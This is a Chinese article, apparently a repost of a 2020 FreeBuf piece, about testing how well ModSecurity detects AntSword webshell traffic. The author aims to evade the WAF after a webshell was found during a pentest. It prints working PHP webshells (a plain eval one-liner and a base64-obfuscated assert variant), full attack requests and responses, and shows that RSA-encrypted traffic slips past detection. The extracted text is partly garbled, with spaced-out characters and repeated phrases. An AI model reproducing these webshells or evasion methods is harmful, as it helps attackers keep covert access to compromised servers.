搜索

[14989] 2020-02-08_WAF对WebShell流量检测的性能分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-02-08_WAF对WebShell流量检测的性能分析 W A F 对 W e b S h e l l 流 量 检 测 的 性 能 分 析 L i t t l e T 1 g e r   F r e e B u f   2 0 2 0 - 0 2 - 0 8 最 近 在 一 次 授 权 渗 透 测 试 中 遇 到 了 一 个 棘 手 的 场 景 ， 万 能 的 队 友 已 经 找 到 了 后 台 上 传 点 ， 并 传 了 小 马 然 后 开 心 最 近 在 一 次 授 权 渗 透 测 试 中 遇 到 了 一 个 棘 手 的 场 景 ， 万 能 的 队 友 已 经 找 到 了 后 台 上 传 点 ， 并 传 了 小 马 然 后 开 心 地 用 地 用 a n t s w o r d 进 行 连 接 ， 但 是 由 于 明 文 传 输 很 快 被 进 行 连 接 ， 但 是 由 于 明 文 传 输 很 快 被 w a f 感 知 ， 并 引 起 了 管 理 员 的 注 意 ， 很 快 我 们 的 马 被 清 了 ， 真 感 知 ， 并 引 起 了 管 理 员 的 注 意 ， 很 快 我 们 的 马 被 清 了 ， 真 是 偷 鸡 不 成 蚀 把 米 。 是 偷 鸡 不 成 蚀 把 米 。 痛 定 思 痛 ， 我 们 判 断 对 方 并 不 能 尽 快 修 复 漏 洞 ， 于 是 临 阵 抱 佛 脚 ， 希 望 于 通 过 加 密 算 法 提 高 攻 击 的 质 量 。 首 先 要 做 三 件 事 第 一 ， 迅 速 在 本 地 复 现 对 方 环 境 ， 第 二 ， 配 置 多 种 加 密 组 合 成 攻 击 载 荷 ， 第 三 ， 用 开 源 安 全 模 块 m o d s e c u r i t y 测 试 攻 击 载 荷 加 密 后 的 效 果 。 本 地 环 境 组 建 本 地 环 境 组 建 从 保 留 的 截 图 来 看 ， 对 方 的 p h p 版 本 是 5 . 6 . 4 0 ， 所 以 我 要 搭 一 个 a p a c h e + p h p 5 . 6 . 4 0 的 测 试 环 境 。 打 开 v i r t u a l b o x ， 链 接 复 制 出 来 一 份 c e n t o s 镜 像 系 统 ， 按 照 以 下 流 程 配 置 一 遍 。 1 .   安 装 a p a c h e 2 .   安 装 p h p 5 . 6 做 一 个 i n d e x . p h p 用 以 显 示 p h p i n f o ( ) ， 本 机 访 问 时 为 了 测 试 方 便 关 闭 f i r e w a l l d 1 .   为 了 后 面 查 看 攻 击 流 量 ， 再 装 一 个 w i r e s h a r k ， 包 含 w i r e s h a r k - g n o m e 等 等 ， 直 接 用 * 替 代 了 。 1 .   配 置 a p a c h e - m o d s e c u r i t y 手 边 没 有 w a f 设 备 ， 没 法 对 流 量 进 行 测 试 ， 于 是 用 m o d e - s e c u r i t y ， 以 及 O W A S P （ 开 放 W e b 应 用 程 序 安 全 性 项 目 ） 核 心 规 则 集 - C R S 进 行 测 试 ， 纵 然 效 果 不 如 实 际 场 景 来 的 直 观 ， 但 足 以 说 明 问 题 。 y u m   i n s t a l l   - y   h t t p d h t t p d   - v S e r v e r   v e r s i o n :   A p a c h e / 2 . 4 . 6   ( C e n t O S ) S e r v e r   b u i l t :       A u g     8   2 0 1 9   1 1 : 4 1 : 1 8 y u m   - y   i n s t a l l   e p e l - r e l e a s e r p m   - U v h   h t t p s : / / m i r r o r . w e b t a t i c . c o m / y u m / e l 7 / w e b t a t i c - r e l e a s e . r p m y u m   - y   i n s t a l l   p h p 5 6 w   p h p 5 6 w - m y s q l   p h p 5 6 w - g d   l i b j p e g *   p h p 5 6 w - l d a p   p h p 5 6 w - o d b c   p h p 5 6 w - p e a r   p h p 5 6 w - x m l   p h p 5 6 w - x m l r p c   p h p 5 6 w - m b s t r i n g   p h p 5 6 w - b c m a t h y u m   - y   i n s t a l l   h t t p d   p h p - g d 5 6 w   p h p - i n t l 5 6 w   p h p - m y s q l 5 6 w   m o d _ s s l   o p e n s s l   m c r y p t   p h p 5 - m c r y p t 5 6 w y u m   - y   i n s t a l l   p h p 5 6 w - m c r y p t   p h p 5 6 w - s o a p   p h p 5 6 w - i n t l     p h p 5 6 w - p d o s y s t e m c t l   r e s t a r t   h t t p d . s e r v i c e p h p   - v P H P   5 . 6 . 4 0   ( c l i )   ( b u i l t :   J a n   1 2   2 0 1 9   1 3 : 1 1 : 1 5 ) C o p y r i g h t   ( c )   1 9 9 7 - 2 0 1 6   T h e   P H P   G r o u p s y s t e m c t l   s t o p   f i r e w a l l d                   / / 当 然 也 可 以 通 过 f i r e w a l l - c m d 去 开 放 端 口 y u m   i n s t a l l   w i r e s h a r k *
m o d s e c u r i t y 的 默 认 配 置 是 检 测 到 攻 击 会 阻 断 ， 我 们 将 它 改 为 只 记 录 。 测 试 一 些 攻 击 向 量 会 在 l o g 里 看 到 记 录 ， 证 明 配 置 完 成 。 环 境 搭 建 完 成 。 攻 击 流 量 配 置 、 分 析 、 检 测 攻 击 流 量 配 置 、 分 析 、 检 测 明 文 明 文 p h p - w e b s h e l l 配 置 配 置 首 先 写 个 一 句 话 看 看 明 文 w e b s h e l l 流 量 传 输 。 配 置 蚁 剑 进 行 连 接 明 文 流 量 分 析 明 文 流 量 分 析 用 w i r e s h a r k 查 看 测 试 连 接 的 流 量 y u m   - y   i n s t a l l   m o d _ s e c u r i t y c d   / e t c / h t t p d g i t   c l o n e   h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / o w a s p - m o d s e c u r i t y -   c r s . g i t m v   o w a s p - m o d s e c u r i t y - c r s   m o d s e c u r i t y . d c d   m o d s e c u r i t y - c r s c p   c r s - s e t u p . c o n f . e x a m p l e   c r s - s e t u p . c o n f v i   / e t c / h t t p d / c o n f / h t t p d . c o n f I n c l u d e   c o n f . m o d u l e s . d / * . c o n f I n c l u d e   m o d s e c u r i t y . d / o w a s p - m o d s e c u r i t y - c r s / c r s - s e t u p . c o n f I n c l u d e   m o d s e c u r i t y . d / o w a s p - m o d s e c u r i t y - c r s / r u l e s / * . c o n f s y s t e m c t l   r e s t a r t   h t t p d v i m   / e t c / h t t p d / c o n f . d / m o d _ s e c u r i t y . c o n f S e c R u l e E n g i n e   O n   ( 拦 截 ) S e c R u l e E n g i n e     D e t e c t i o n O n l y   记 录 t a i l   - f   / v a r / l o g / h t t p d / m o d e l / m o d s e c _ a u d i t . l o g   / / 查 看 拦 截 日 志 v i m   t e s t 1 . p h p < ? p h p @ e v a l ( $ _ P O S T [ ' a a a a ' ] ) ; ? >
为 了 更 加 清 楚 a n t s w o r d 发 出 的 流 量 包 ， 我 认 真 看 了 一 下 发 的 包 ， 并 查 了 一 些 相 关 函 数 ， 做 注 释 的 同 时 感 叹 了 P H P 函 数 的 牛 逼 ， 并 勾 起 了 我 的 好 奇 心 ， 对 这 几 个 函 数 做 了 本 地 测 试 。 果 然 牛 逼 ！ 和 返 回 包 现 象 保 持 了 一 致 。 同 时 也 说 明 了 如 果 明 文 直 接 进 行 探 测 ， 这 种 流 量 在 w a f 面 前 无 异 于 自 投 罗 网 ！ 明 文 流 量 检 测 明 文 流 量 检 测 w a f 测 试 结 果 如 下 ： P O S T   / t e s t 1 . p h p   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e U s e r - A g e n t :   a n t S w o r d / v 2 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   9 9 3 C o n n e c t i o n :   c l o s e a a a a = @ i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; f u n c t i o n   a s e n c ( $ o u t ) { r e t u r n   $ o u t ; } ; f u n c t i o n   a s o u t p u t ( ) { $ o u t p u t = o b _ g e t _ c o n t e n t s ( ) ; o b _ e n d _ c l e a n ( ) ; e c h o   " 6 2 0 e 2 f c " ; e c h o   @ a s e n c ( $ o u t p u t ) ; e c h o   " 7 1 a 0 c c f b c 1 " ; } o b _ s t a r t ( ) ; t r y { $ D = d i r n a m e ( $ _ S E R V E R [ " S C R I P T _ F I L E N A M E " ] / / d i r n a m e ( ) 函 数 获 取 给 定 文 件 路 径 中 的 目 录 部 分 ， 而 $ _ S E R V E R [ ' S C R I P T _ F I L E N A M E ' ] 全 局 预 定 义 变 量 用 于 获 取 当 前 执 行 脚 本 的 完 整 路 径 ) ; i f ( $ D = = " " ) $ D = d i r n a m e ( $ _ S E R V E R [ " P A T H _ T R A N S L A T E D " ] ) ; / / 如 果 没 有 获 取 到 就 用 P A T H _ T R A N S L A T E D , 获 取 当 前 脚 本 所 在 文 件 系 统 （ 非 文 档 根 目 录 ） 的 基 本 路 径 。 这 是 在 服 务 器 进 行 虚 拟 到 真 实 路 径 的 映 像 后 的 结 果 。 A p a c h e   2   用 户 可 以 使 用 h t t p d . c o n f   中 的   A c c e p t P a t h I n f o   O n   来 定 义   P A T H _ I N F O 。 $ R = " { $ D } " ; i f ( s u b s t r ( $ D , 0 , 1 ) ! = " / " ) { f o r e a c h ( r a n g e ( " C " , " Z " ) a s   $ L ) i f ( i s _ d i r ( " { $ L } : " ) ) $ R . = " { $ L } : " ; } e l s e { $ R . = " / " ; } $ R . = "         " ; / / 以 上 是 判 断 w i n d o w s 或 者 l i n u x 盘 符 ， 进 而 把 获 取 的 目 录 信 息 存 入 变 量 $ u = ( f u n c t i o n _ e x i s t s ( " p o s i x _ g e t e g i d " ) ) ? @ p o s i x _ g e t p w u i d ( @ p o s i x _ g e t e u i d ( ) ) : " " ; / / p o s i x _ g e t e g i d ( ) 返 回 当 前 进 程 的 有 效 用 户 组 I D ， p o s i x _ g e t e u i d ( ) 返 回 当 前 进 程 的 有 效 用 户 I D $ s = ( $ u ) ? $ u [ " n a m e " ] : @ g e t _ c u r r e n t _ u s e r ( ) ; / / g e t _ c u r r e n t _ u s e r ( ) 方 法 进 行 获 得 P H P 当 前 脚 本 所 有 者 名 称 $ R . = p h p _ u n a m e ( ) ; / / p h p _ u n a m e 返 回 运 行   P H P   的 系 统 的 有 关 信 息 $ R . = " { $ s } " ; e c h o   $ R ; ; } c a t c h ( E x c e p t i o n   $ e ) { e c h o   " E R R O R : / / " . $ e - > g e t M e s s a g e ( ) ; } ; a s o u t p u t ( ) ; d i e ( ) ; / / 输 出 H T T P / 1 . 1   2 0 0   O K D a t e :   W e d ,   2 9   J a n   2 0 2 0   1 2 : 5 3 : 3 0   G M T S e r v e r :   A p a c h e / 2 . 4 . 6   ( C e n t O S )   O p e n S S L / 1 . 0 . 2 k - f i p s   P H P / 5 . 6 . 4 0 X - P o w e r e d - B y :   P H P / 5 . 6 . 4 0 C o n t e n t - L e n g t h :   1 3 6 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 6 2 0 e 2 f c / v a r / w w w / h t m l . / . L i n u x   l o c a l h o s t . l o c a l d o m a i n   3 . 1 0 . 0 - 1 0 6 2 . 9 . 1 . e l 7 . x 8 6 _ 6 4   # 1   S M P   F r i   D e c   6   1 5 : 4 9 : 4 9   U T C   2 0 1 9   x 8 6 _ 6 4 . a p a c h e 7 1 a 0 c c f b c 1 < ? p h p e c h o   p o s i x _ g e t e g i d ( ) ; e c h o   p o s i x _ g e t l o g i n ( ) ; e c h o   g e t _ c u r r e n t _ u s e r ( ) ; e c h o   p h p _ u n a m e ( ) ; 0 t 1 g e r r o o t L i n u x   l o c a l h o s t . l o c a l d o m a i n   3 . 1 0 . 0 - 1 0 6 2 . 9 . 1 . e l 7 . x 8 6 _ 6 4   # 1   S M P   F r i   D e c   6   1 5 : 4 9 : 4 9   U T C   2 0 1 9   x 8 6 _ 6 4
统 计 数 据 如 下 ， 匹 配 规 则 数 按 照 g r e p   l i n e | w c   - l 计 算 A p a c h e - E r r o r M e s s a g e 匹 配 规 则 数 匹 配 规 则 数 l e v e l 1 1 1 1 2 2 3 接 下 来 我 们 先 测 对 称 密 码 。 B a s e 6 4 & & r o t 1 3   w e b s h e l l 配 置 配 置 A n t s w o r d 自 带 几 个 可 供 测 试 的 s h e l l ， 给 我 们 提 供 了 非 常 大 的 方 便 。 我 顺 便 贴 一 下 代 码 。 先 来 看 看 b a s e 6 4 的 代 码 B a s e 6 4 & & r o t 1 3   流 量 分 析 流 量 分 析 b a s e 6 4 加 密 之 后 的 流 量 除 了 e v a l 之 外 至 少 不 会 包 含 那 么 多 的 高 危 函 数 ， 加 密 之 后 我 们 再 来 测 试 。 B a s e 6 4 & & r o t 1 3   w e b s h e l l 流 量 检 测 流 量 检 测 w a f 测 试 结 果 如 下 ： 统 计 数 据 如 下 A p a c h e - E r r o r M e s s a g e 匹 配 规 则 数 匹 配 规 则 数 l e v e l 7 7 1 4 3 通 过 A n t s w o r d 界 面 配 置 r o t 1 3 加 密 及 解 密 ， 抓 包 看 了 下 流 量 ， 仅 仅 是 将 b a s e 6 4 的 加 密 函 数 变 成 了 s t r _ r o t 1 3 拦 截 数 据 和 b a s e 差 不 多 ， w a f 统 计 数 据 如 下 M e s s a g e :   W a r n i n g .   P a t t e r n   m a t c h   " ^ [ d . : ] + $ "   a t   R E Q U E S T _ H E A D E R S : H o s t .   [ f i l e   " / e t c / h t t p d / m o d s e c u r i t y . d / o w a s p - m o d s e c u r i t y - c r s / r u l e s / R E Q U E S T - 9 2 0 - P R O T O C O L - E N F O R C E M E N T . c o n f " ]   [ l i n e   " 7 0 8 " ]   [ i d   " 9 2 0 3 5 0 " ]   [ m s g   " H o s t   h e a d e r   i s   a   n u m e r i c   I P   a d d r e s s " ]   [ d a t a   " 1 9 2 . 1 6 8 . 1 . 1 3 " ]   [ s e v e r i t y   " W A R N I N G " ]   [ v e r   " O W A S P _ C R S / 3 . 2 . 0 " ]   [ t a g   " a p p l i c a t i o n - m u l t i " ]   [ t a g   " l a n g u a g e - m u l t i " ]   [ t a g   " p l a t f o r m - m u l t i " ]   [ t a g   " a t t a c k - p r o t o c o l " ]   [ t a g   " p a r a n o i a - l e v e l / 1 " ]   [ t a g   " O W A S P _ C R S " ]   [ t a g   " O W A S P _ C R S / P R O T O C O L _ V I O L A T I O N / I P _ H O S T " ]   [ t a g   " W A S C T C / W A S C - 2 1 " ]   [ t a g   " O W A S P _ T O P _ 1 0 / A 7 " ]   [ t a g   " P C I / 6 . 5 . 1 0 " ] M e s s a g e :   W a r n i n g .         . . . . .         . . . . . A p a c h e - H a n d l e r :   p h p 5 - s c r i p t S t o p w a t c h :   1 5 8 0 3 5 8 0 8 1 2 1 0 8 8 7   7 7 5 0   ( -   -   - ) S t o p w a t c h 2 :   1 5 8 0 3 5 8 0 8 1 2 1 0 8 8 7   7 7 5 0 ;   c o m b i n e d = 5 3 7 9 ,   p 1 = 7 5 3 ,   p 2 = 4 2 0 2 ,   p 3 = 4 2 ,   p 4 = 1 5 5 ,   p 5 = 2 2 7 ,   s r = 1 9 4 ,   s w = 0 ,   l = 0 ,   g c = 0 R e s p o n s e - B o d y - T r a n s f o r m e d :   D e c h u n k e d P r o d u c e r :   M o d S e c u r i t y   f o r   A p a c h e / 2 . 9 . 2   ( h t t p : / / w w w . m o d s e c u r i t y . o r g / ) ;   O W A S P _ C R S / 3 . 2 . 0 . S e r v e r :   A p a c h e / 2 . 4 . 6   ( C e n t O S )   O p e n S S L / 1 . 0 . 2 k - f i p s   P H P / 5 . 6 . 4 0 E n g i n e - M o d e :   " D E T E C T I O N _ O N L Y " < ? p h p $ a n t = b a s e 6 4 _ d e c o d e ( " Y X N z Z X J 0 " ) ; $ a n t ( $ _ P O S T [ ' a n t ' ] ) ; ? > P O S T   / p h p _ a s s e r t _ s c r i p t . p h p   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e U s e r - A g e n t :   a n t S w o r d / v 2 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   9 4 2 C o n n e c t i o n :   c l o s e a n t = % 4 0 e v a l ( % 4 0 b a s e 6 4 _ d e c o d e ( % 2 4 _ P O S T % 5 B q 9 c 4 f a 4 2 6 f b 2 4 3 % 5 D ) ) % 3 B & q 9 c 4 f a 4 2 6 f b 2 4 3 = Q G l u a V 9 z Z X Q o I m R p c 3 B s Y X l f Z X J y b 3 J z I i w g I j A i K T t A c 2 V 0 X 3 R p b W V f b G l t a X Q o M C k 7 Z n V u Y 3 R p b 2 4 g Y X N l b m M o J G 9 1 d C l 7 c m V 0 d X J u I C R v d X Q 7 f T t m d W 5 j d G l v b i B h c 2 9 1 d H B 1 d C g p e y R v d X R w d X Q 9 b 2 J f Z 2 V 0 X 2 N v b n R l b n R z K C k 7 b 2 J f Z W 5 k X 2 N s Z W F u K C k 7 Z W N o b y A i M z R h Z T E 3 I j t l Y 2 h v I E B h c 2 V u Y y g k b 3 V 0 c H V 0 K T t l Y 2 h v I C I 1 Y m J h N 2 Y i O 3 1 v Y l 9 z d G F y d C g p O 3 R y e X s k R D 1 k a X J u Y W 1 l K C R f U 0 V S V k V S W y J T Q 1 J J U F R f R k l M R U 5 B T U U i X S k 7 a W Y o J E Q 9 P S I i K S R E P W R p c m 5 h b W U o J F 9 T R V J W R V J b I l B B V E h f V F J B T l N M Q V R F R C J d K T s k U j 0 i e y R E f Q k i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z v c m V h Y 2 g o c m F u Z 2 U o I k M i L C J a I i l h c y A k T C l p Z i h p c 1 9 k a X I o I n s k T H 0 6 I i k p J F I u P S J 7 J E x 9 O i I 7 f W V s c 2 V 7 J F I u P S I v I j t 9 J F I u P S I J I j s k d T 0 o Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C J w b 3 N p e F 9 n Z X R l Z 2 l k I i k p P 0 B w b 3 N p e F 9 n Z X R w d 3 V p Z C h A c G 9 z a X h f Z 2 V 0 Z X V p Z C g p K T o i I j s k c z 0 o J H U p P y R 1 W y J u Y W 1 l I l 0 6 Q G d l d F 9 j d X J y Z W 5 0 X 3 V z Z X I o K T s k U i 4 9 c G h w X 3 V u Y W 1 l K C k 7 J F I u P S I J e y R z f S I 7 Z W N o b y A k U j s 7 f W N h d G N o K E V 4 Y 2 V w d G l v b i A k Z S l 7 Z W N o b y A i R V J S T 1 I 6 L y 8 i L i R l L T 5 n Z X R N Z X N z Y W d l K C k 7 f T t h c 2 9 1 d H B 1 d C g p O 2 R p Z S g p O w % 3 D % 3 D M e s s a g e :   W a r n i n g .   P a t t e r n   m a t c h   " ^ [ d . : ] + $ "   a t   R E Q U E S T _ H E A D E R S : H o s t .   [ f i l e M e s s a g e :   W a r n i n g .   M a t c h e d   p h r a s e   " b a s e 6 4 _ d e c o d e "   a t   A R G S : a n t .   [ f i l e   " / e t c / h t t p d / m o d s e c u r i t y . d / o w a s p - m o d s e c u r i t y - c r s / r u l e s / R E Q U E S T - 9 3 3 - A P P L I C A T I O N - A T T A C K - P H P . c o n f " ]   [ l i n e   " 3 0 1 " ]   [ i d   " 9 3 3 1 5 0 " ]   [ m s g   " P H P   I n j e c t i o n   A t t a c k :   H i g h - R i s k   P H P   F u n c t i o n   N a m e   F o u n d " ]   [ d a t a   " M a t c h e d   D a t a :   b a s e 6 4 _ d e c o d e   f o u n d   w i t h i n   A R G S : a n t :   @ e v a l ( @ b a s e 6 4 _ d e c o d e ( $ _ p o s t [ y 0 7 a e 4 3 1 d 0 7 3 0 c ] ) ) ; " ]   [ s e v e r i t y   " C R I T I C A L " ]   [ v e r   " O W A S P _ C R S / 3 . 2 . 0 " ]   [ t a g   " a p p l i c a t i o n - m u l t i " ]   [ t a g   " l a n g u a g e - p h p " ]   [ t a g   " p l a t f o r m - m u l t i " ]   [ t a g   " a t t a c k - i n j e c t i o n - p h p " ]   [ t a g   " p a r a n o i a - l e v e l / 1 " ]   [ t a g   " O W A S P _ C R S " ]   [ t a g   " O W A S P _ C R S / W E B _ A T T A C K / P H P _ I N J E C T I O N " ]   [ t a g   " O W A S P _ T O P _ 1 0 / A 1 " ] . . . . . . a n t = % 4 0 e v a l ( % 4 0 b a s e 6 4 _ d e c o d e   - >   a n t = % 4 0 e v a l ( % 4 0 s t r _ r o t 1 3 (
A p a c h e - E r r o r M e s s a g e 匹 配 规 则 数 匹 配 规 则 数 l e v e l 1 0 7 1 4 3 由 此 可 见 ， 对 称 加 密 算 法 下 e v a l 、 b a s e 6 4 , r o t 1 3 这 些 函 数 也 是 可 以 触 发 较 高 告 警 等 级 的 。 但 是 相 比 于 明 文 传 输 ， 触 发 的 告 警 会 少 一 半 ， 于 是 笔 者 进 一 步 尝 试 一 下 a n t s w o r d 提 供 的 非 对 称 加 密 算 法 。 R S A 加 密 流 量 配 置 加 密 流 量 配 置 版 本 > = 2 . 1 . 0 开 始 ， A n t s w o r d 作 者 新 增 了 R S A 模 式 。 蚁 剑 默 认 下 仅 支 持 P H P 。 另 外 需 要 S e r v e r 开 启 p h p _ o p e n s s l 拓 展 。 使 用 方 法 ： 1 、 将 下 方 的 p h p 代 码 c o p y 到 虚 拟 机 里 ， 命 名 为 r s a . p h p 2 、 配 置 a n t s w o r d 连 接 类 型 选 择 r s a _ p h p 3 、 测 试 连 接 R S A 加 密 流 量 分 析 加 密 流 量 分 析 贴 上 w i r e s h a r k 抓 的 流 量 经 历 非 对 称 加 密 算 法 之 后 , 整 个 流 量 传 输 的 数 据 除 了 l e n g t h 之 外 , 肉 眼 已 经 分 别 不 出 来 ,   这 个 效 果 笔 者 比 较 满 意 . R S A 加 密 流 量 检 测 加 密 流 量 检 测 修 改 p h p . i n i ， 去 掉 e x t e n s i o n = p h p _ o p e n s s l . d l l 前 的 注 释 ， 重 启 A p a c h e A n t s w o r d - > 系 统 设 置 - > 编 码 管 理 - > 新 建 编 码 器 - > P H P   R S A - > 命 名 为 r s a _ p h p - > 点 击 R S A 配 置 - > 生 成 P O S T   / r s a . p h p   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e U s e r - A g e n t :   a n t S w o r d / v 2 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 7 1 2 C o n n e c t i o n :   c l o s e a n t = W % 2 B 9 b e N 7 L t k e 3 9 0 b z Z G S 5 J b O B C n O 8 S R X W 6 Z 8 w 0 W a M F 6 C d A y m a C u 6 N e W E 9 F X 0 k y C F s 3 j a L k D W k E v c T s S C 2 g E u 8 5 l 5 u g s V J U K 6 b T W F l V N e R B o e z j T j U J Z d j G v n j r x j d 5 P n 4 i Z a R j o a x A Z P e Z P 2 o z u p b e v W F U I d 4 Z z k K Z 7 b I V P r Z K k 4 % 3 D % 7 C Y j t 1 k z 5 G k j 2 N 6 A j k q p 3 V X c g % 2 F E A 7 e m P X V 6 o y T w Z A Z S 9 U x 1 % 2 F p b y 5 P I u U 9 L s M Z m G l M q G X v R F O 2 3 i s 9 M U J p F 6 6 y b o I A I Y q p G R J C D g S P 4 S % 2 B f G 6 D D 0 l R Y G E O I E s f p a L S V M h x Z t R 6 O n F X p % 2 F f b X q m g G U k 0 a 8 H C U f Q 8 3 X m X S % 2 B R s l 0 Y x 2 P F c 4 % 3 D % 7 C A W t I r p y c h l Q E N i b 6 b a s r K 8 9 L J c j n K k % 2 B f 5 m V M 7 2 M O n P H x a v i Q F X w s 2 T K N d G P I 4 S I 9 % 2 F k w l % 2 F U G q B 2 2 s 6 N O w C z a 1 f % 2 B k z G K 7 F q E c i I T M Z M N F b o k F s m j G 8 I i W k R O % 2 B % 2 B b W W n s M e s f a v J u b 9 a E l n 4 1 x 8 U 9 7 W j g K G K M M d q X Z H r I R S 4 K U 8 p Q h U % 3 D % 7 C X L L 0 D n l W O L x 3 h N X d 2 V G z m b d c g m t Q o i y i i P N Q C i B k A b U K 1 m L M 1 4 l 6 f 2 2 P k l 2 t S S w % 2 F 9 d Y I k d Z 9 1 w U o k 9 G H D B M m K k L 6 D % 2 B J G Q x r J D y Q X E f y t O z f z Z m K q p % 2 B J % 2 B r y V m 2 z w L J M X T d p Z % 2 B U s B W g V z l D % 2 B x g a 6 % 2 F 7 r C q k G % 2 F t a W M 6 e % 2 B G e g c S 4 l W T E % 3 D % 7 C J G J R 5 0 q 4 j S k L 0 2 8 q f f v T % 2 B e % 2 B n J c M Q t h 6 j z 8 6 s n t y u I 3 G Z Q U t j S 5 % 2 F o C B y I q s G i 8 z P w C K S 0 J % 2 F A E i E G h A w N 7 % 2 F B Q X Y j y V W A s 5 V p D h P r V U s 7 E b q F g l l V m r N t 8 T 5 R t 7 O % 2 F C H V S i R 2 A Q j y G % 2 B x B 1 L j O 5 E l X % 2 F H 8 P f h 2 5 d D p V a F t 3 M E r 1 l x T 6 9 I % 3 D % 7 C S I i r F 5 2 Z E h s % 2 F M B f c o 2 k W o u u r B % 2 F % 2 F h C v L G 2 9 % 2 B K 7 0 a 6 t 8 I o % 2 F E % 2 F 7 V L 5 I O 3 8 s 2 j % 2 B j q % 2 B S w 6 d U D L 9 c E U b E x 2 G 2 U 4 r 0 f H i D S Y P b b n 9 W S 6 F b Q S C P H x G 6 l x L H C X m m k K x j % 2 B 2 P 8 k h y M M % 2 F H d V C W a i % 2 B 5 L 5 h X Y r % 2 B U W F k C k b v % 2 B U y Y U S s f L 2 9 s G x W e V A % 3 D % 7 C i 1 q Z B S L 6 D f u 3 1 c i s S j 3 J % 2 B Y 7 e p L u Q l 6 2 D d E W M C i Z R Q O z 5 A H F s P F s W t O 5 9 u e d R C 0 C f M O h c b I D G G q 2 G N T h L 8 V P z % 2 F U f L J T d 3 k u o F o 7 p 2 2 5 i P c Y O K J S 7 5 V 3 6 c c H w 3 b M I 3 L O W c E h U F 3 L P X 2 Y c a L S v w D D y H f r n W L 2 Q j 6 V m Q K e w 8 e d o A I d U % 3 D % 7 C k J i h 3 p P T 7 0 J 6 B i P l l 9 o 4 P t H % 2 B y l % 2 B m B 8 % 2 B U P D A S % 2 F f A u 4 u z i 2 y D M C I d z d k a F L l n s U K e w H X L f 1 m W W V p G k f q L C t t g Z e d 9 w U t l 6 N 2 2 C 3 n Q G Z q Z % 2 F q n N i K e B Y K 0 % 2 F J B m i m O A f 7 n S M B 1 W F % 2 B a b 5 R m R q 6 c S S w r W c 4 y a 9 3 k V J z m I g 1 B d y a i y c d N 5 I % 3 D % 7 C H V 2 y 7 v s 6 w Q U I Q 8 D n v v e C e D 8 x t j R e c f % 2 F % 2 B 7 r A l 7 Y 4 W a 8 S 4 Y 0 o n K Y H O z 2 N z 0 h g B J t F N % 2 B L R I j 9 % 2 B % 2 F Y y O q % 2 F s l q 0 X W % 2 B o l Q C U l 5 h f 8 % 2 F 3 Y 9 O m l x K v S C G f 3 A 0 I I A q u q S a J X p U 4 w 8 r q V y P 9 O d 2 b g D X D z s O x 8 Y g V d i g e y Z x L S 0 T N N O D T G I A T b 7 Y % 3 D H T T P / 1 . 1   2 0 0   O K D a t e :   T h u ,   3 0   J a n   2 0 2 0   0 5 : 4 7 : 0 9   G M T S e r v e r :   A p a c h e / 2 . 4 . 6   ( C e n t O S )   O p e n S S L / 1 . 0 . 2 k - f i p s   P H P / 5 . 6 . 4 0 X - P o w e r e d - B y :   P H P / 5 . 6 . 4 0 C o n t e n t - L e n g t h :   1 3 3 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 8 e e 7 7 3 / v a r / w w w / h t m l . / . L i n u x   l o c a l h o s t . l o c a l d o m a i n   3 . 1 0 . 0 - 1 0 6 2 . 9 . 1 . e l 7 . x 8 6 _ 6 4   # 1   S M P   F r i   D e c   6   1 5 : 4 9 : 4 9   U T C   2 0 1 9   x 8 6 _ 6 4 . a p a c h e 4 7 9 7 0 2 4 6 M e s s a g e :   W a r n i n g .   P a t t e r n   m a t c h   " ^ [ d . : ] + $ "   a t   R E Q U E S T _ H E A D E R S : H o s t .   [ f i l e   " / e t c / h t t p d / m o d s e c u r i t y . d / o w a s p - m o d s e c u r i t y - c r s / r u l e s / R E Q U E S T - 9 2 0 - P R O T O C O L - E N F O R C E M E N T . c o n f " ]   [ l i n e   " 7 0 8 " ]   [ i d   " 9 2 0 3 5 0 " ]   [ m s g   " H o s t   h e a d e r   i s   a   n u m e r i c   I P   a d d r e s s " ]   [ d a t a   " 1 9 2 . 1 6 8 . 1 . 1 3 " ]   [ s e v e r i t y   " W A R N I N G " ]   [ v e r   " O W A S P _ C R S / 3 . 2 . 0 " ]   [ t a g   " a p p l i c a t i o n - m u l t i " ]   [ t a g   " l a n g u a g e - m u l t i " ]   [ t a g   " p l a t f o r m - m u l t i " ]   [ t a g   " a t t a c k - p r o t o c o l " ]   [ t a g   " p a r a n o i a - l e v e l / 1 " ]   [ t a g   " O W A S P _ C R S " ]   [ t a g   " O W A S P _ C R S / P R O T O C O L _ V I O L A T I O N / I P _ H O S T " ]   [ t a g   " W A S C T C / W A S C - 2 1 " ]   [ t a g   " O W A S P _ T O P _ 1 0 / A 7 " ]   [ t a g   " P C I / 6 . 5 . 1 0 " ] A p a c h e - H a n d l e r :   p h p 5 - s c r i p t S t o p w a t c h :   1 5 8 0 3 6 3 2 2 9 1 1 8 5 7 1   7 6 6 6   ( -   -   - ) S t o p w a t c h 2 :   1 5 8 0 3 6 3 2 2 9 1 1 8 5 7 1   7 6 6 6 ;   c o m b i n e d = 6 1 5 3 ,   p 1 = 5 7 4 ,   p 2 = 5 1 7 0 ,   p 3 = 3 9 ,   p 4 = 1 5 6 ,   p 5 = 2 1 3 ,   s r = 2 0 5 ,   s w = 1 ,   l = 0 